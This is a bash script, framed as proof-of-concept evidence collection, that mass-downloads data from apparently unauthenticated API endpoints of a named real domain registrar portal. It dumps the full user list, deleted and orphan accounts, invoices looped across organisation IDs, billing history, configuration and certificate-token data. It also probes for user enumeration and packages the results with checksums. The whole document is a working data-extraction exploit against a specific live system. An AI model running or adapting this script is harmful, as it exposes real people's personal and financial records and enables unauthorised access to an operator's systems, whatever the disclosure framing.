#!/usr/bin/env bash
# =============================================================================
# IDRBT PoC Evidence Collection — Full Data Dump
# =============================================================================
# Collects evidence from ALL 33+ unauthenticated API endpoints on
# registrar.idrbt.ac.in and saves structured output.
#
# Usage:
#   chmod +x collect-evidence.sh
#   ./collect-evidence.sh
#
# Output:
#   ./idrbt-evidence/  — all JSON dumps, summary, and metadata
# =============================================================================
set -uo pipefail

BASE="https://registrar.idrbt.ac.in"
API="$BASE/api/dr"
OUTDIR="./idrbt-evidence"
mkdir -p "$OUTDIR/data" "$OUTDIR/schemas"

TIMESTAMP=$(date -u '+%Y-%m-%d_%H%M%S_UTC')
echo "$TIMESTAMP" > "$OUTDIR/timestamp.txt"

ok()   { echo -e "  \033[0;32m✓\033[0m $1"; }
warn() { echo -e "  \033[0;33m⚠\033[0m $1"; }
fail() { echo -e "  \033[0;31m✗\033[0m $1"; }

fetch() {
    local url="$1" outfile="$2"
    local desc="${3:-}"

    if [ -z "$desc" ]; then desc="GET $url"; fi

    local code size
    code=$(curl -s -o "$outfile" -w "%{http_code}" --connect-timeout 10 --max-time 120 "$url" 2>/dev/null || echo "ERROR")
    size=$(stat -c%s "$outfile" 2>/dev/null || echo 0)

    printf "  %-60s %s %s\n" "$desc" "$code" "$([ "$code" = "200" ] && echo "(${size}b)" || echo "")"
}

echo ""
echo "══════════════════════════════════════════════════════════════"
echo "  IDRBT Domain Registrar Portal — Evidence Collection"
echo "  Target: $BASE"
echo "  Started: $(date -u)"
echo "══════════════════════════════════════════════════════════════"
echo ""

# =============================================================================
# SECTION 1: INFRASTRUCTURE
# =============================================================================
echo "─── 1. Infrastructure ───────────────────────────────────────────────"

fetch "$API/actuator/health"          "$OUTDIR/data/actuator-health.json"
fetch "$API/actuator"                 "$OUTDIR/data/actuator.json"

# =============================================================================
# SECTION 2: USER DATABASE (CRITICAL)
# =============================================================================
echo ""
echo "─── 2. User Database ────────────────────────────────────────────────"

fetch "$API/user/all"                 "$OUTDIR/data/users-all.json"
fetch "$API/user/activeUser"          "$OUTDIR/data/users-active-count.json"
fetch "$API/user/deleted-users"       "$OUTDIR/data/users-deleted.json"
fetch "$API/user/orphan-users"        "$OUTDIR/data/users-orphan.json"

# Fetch individual user record (first email from the dump)
USER_EMAIL=$(jq -r '.[0].userId' "$OUTDIR/data/users-all.json" 2>/dev/null)
if [ -n "$USER_EMAIL" ] && [ "$USER_EMAIL" != "null" ]; then
  echo "$USER_EMAIL" > "$OUTDIR/data/sample-email.txt"
  fetch "$API/user/get/$USER_EMAIL"   "$OUTDIR/data/user-get-by-email.json"
fi

# =============================================================================
# SECTION 3: BILLING & FINANCIAL
# =============================================================================
echo ""
echo "─── 3. Billing / Financial ──────────────────────────────────────────"

# Enumerate org IDs from user database
ORG_IDS=$(jq -r '.[].organisationId | select(. != null and . != 0)' "$OUTDIR/data/users-all.json" 2>/dev/null | sort -nu | head -50)
INVOICE_COUNT=0
for oid in $ORG_IDS; do
  fetch "$API/invoice/getByOrgId/$oid" "$OUTDIR/data/invoice-org-$oid.json"
  count=$(jq '. | length' "$OUTDIR/data/invoice-org-$oid.json" 2>/dev/null || echo 0)
  INVOICE_COUNT=$((INVOICE_COUNT + count))
done

echo "       ($INVOICE_COUNT invoices collected from $ORG_IDS orgs)"

# Billing history endpoint
fetch "$API/billingHistory/all?userId=demo@test.com" "$OUTDIR/data/billing-history.json"

# =============================================================================
# SECTION 4: STATIC CONFIGURATION
# =============================================================================
echo ""
echo "─── 4. Configuration ────────────────────────────────────────────────"

fetch "$API/static/getAll"             "$OUTDIR/data/static-config.json"
fetch "$API/static/getByType/gst"      "$OUTDIR/data/static-gst.json"
fetch "$API/static/getByType/tds"      "$OUTDIR/data/static-tds.json"

# =============================================================================
# SECTION 5: DEPARTMENTS & REGISTRAR
# =============================================================================
echo ""
echo "─── 5. Departments & Registrar ──────────────────────────────────────"

fetch "$API/departments/all"           "$OUTDIR/data/departments-all.json"
fetch "$API/departments/1"             "$OUTDIR/data/departments-admin.json"
fetch "$API/rgtrUser/getAlltext"       "$OUTDIR/data/rgtr-user-text.json"
fetch "$API/links/all"                 "$OUTDIR/data/links.json"

# =============================================================================
# SECTION 6: DNSSEC
# =============================================================================
echo ""
echo "─── 6. DNSSEC ───────────────────────────────────────────────────────"

fetch "$API/dnssec/algorithmTypes"      "$OUTDIR/data/dnssec-algorithm-types.json"
fetch "$API/dnssec/digestTypes"         "$OUTDIR/data/dnssec-digest-types.json"

# =============================================================================
# SECTION 7: DSC PROXY (eMudhra)
# =============================================================================
echo ""
echo "─── 7. DSC Proxy ────────────────────────────────────────────────────"

fetch "$BASE/api/dsc/getTokenRequest"   "$OUTDIR/data/dsc-token-request.json"
# DSC getCertificateRequest requires a specific token name; record the endpoint
echo "ENDPOINT_EXISTS: GET $BASE/api/dsc/getCertificateRequest?keyStoreDisplayName={token}" > "$OUTDIR/data/dsc-certificate-request-note.txt"

# =============================================================================
# SECTION 8: USER ENUMERATION
# =============================================================================
echo ""
echo "─── 8. User Enumeration ─────────────────────────────────────────────"

fetch "$API/user/verify-user/nonexistent@test.com" "$OUTDIR/data/enum-verify-nonexistent.json"
fetch "$API/user/getCheck/nonexistent@test.com"    "$OUTDIR/data/enum-getcheck-nonexistent.json"
fetch "$API/user/verify-user/$USER_EMAIL"          "$OUTDIR/data/enum-verify-existing.json"

# =============================================================================
# SECTION 9: NOTIFICATIONS
# =============================================================================
echo ""
echo "─── 9. Notifications ────────────────────────────────────────────────"

fetch "$API/notification/count/demo"   "$OUTDIR/data/notification-count.json"
fetch "$API/notification/all/demo"     "$OUTDIR/data/notification-all.json"

# =============================================================================
# COMPLETE: Generate Summary
# =============================================================================
echo ""
echo "══════════════════════════════════════════════════════════════"
echo "  Generating summary..."
echo "══════════════════════════════════════════════════════════════"

{
  echo "# IDRBT Evidence Collection Summary"
  echo "**Date:** $TIMESTAMP"
  echo "**Target:** $BASE"
  echo ""
  echo "| # | Endpoint | HTTP | Records | Data |"
  echo "|---|----------|:----:|:-------:|------|"
} > "$OUTDIR/SUMMARY.md"

ENDPOINT_NUM=0
for jsonfile in "$OUTDIR/data"/*.json; do
  ENDPOINT_NUM=$((ENDPOINT_NUM + 1))
  fname=$(basename "$jsonfile")
  code=$(jq -r '.code // "200"' "$jsonfile" 2>/dev/null || echo "200")
  recs=$(jq '. | if type=="array" then length else 1 end' "$jsonfile" 2>/dev/null || echo "?")
  size=$(stat -c%s "$jsonfile" 2>/dev/null || echo 0)
  desc="${fname%.json}"
  echo "| $ENDPOINT_NUM | \`$desc\` | $code | $recs | $(numfmt --to=iec $size 2>/dev/null || echo "${size}b") |" >> "$OUTDIR/SUMMARY.md"
done

# Cumulative stats
echo "" >> "$OUTDIR/SUMMARY.md"
echo "## Cumulative" >> "$OUTDIR/SUMMARY.md"

TOTAL_USERS=0
for f in users-all users-deleted users-orphan; do
  c=$(jq 'length' "$OUTDIR/data/$f.json" 2>/dev/null || echo 0)
  TOTAL_USERS=$((TOTAL_USERS + c))
done

echo "- **Total user records collected:** $TOTAL_USERS" >> "$OUTDIR/SUMMARY.md"
echo "- **Invoice records collected:** $INVOICE_COUNT" >> "$OUTDIR/SUMMARY.md"
echo "- **Environments:** UAT labelled as production" >> "$OUTDIR/SUMMARY.md"

# Create checksums
cd "$OUTDIR"
find data -type f -name "*.json" -exec sha256sum {} \; > checksums.sha256
cd - >/dev/null

# Final size
TOTAL_SIZE=$(du -sh "$OUTDIR" | cut -f1)
echo ""
echo "  ✓ Evidence collected: $OUTDIR ($TOTAL_SIZE)"
echo "  ✓ Endpoints tested:   $ENDPOINT_NUM"
echo "  ✓ Summary:            $OUTDIR/SUMMARY.md"
echo "  ✓ Checksums:          $OUTDIR/checksums.sha256"
echo ""
echo "  Completed: $(date -u)"
echo "  Use: tar -czf idrbt-evidence.tar.gz idrbt-evidence/"
echo "══════════════════════════════════════════════════════════════"
echo ""
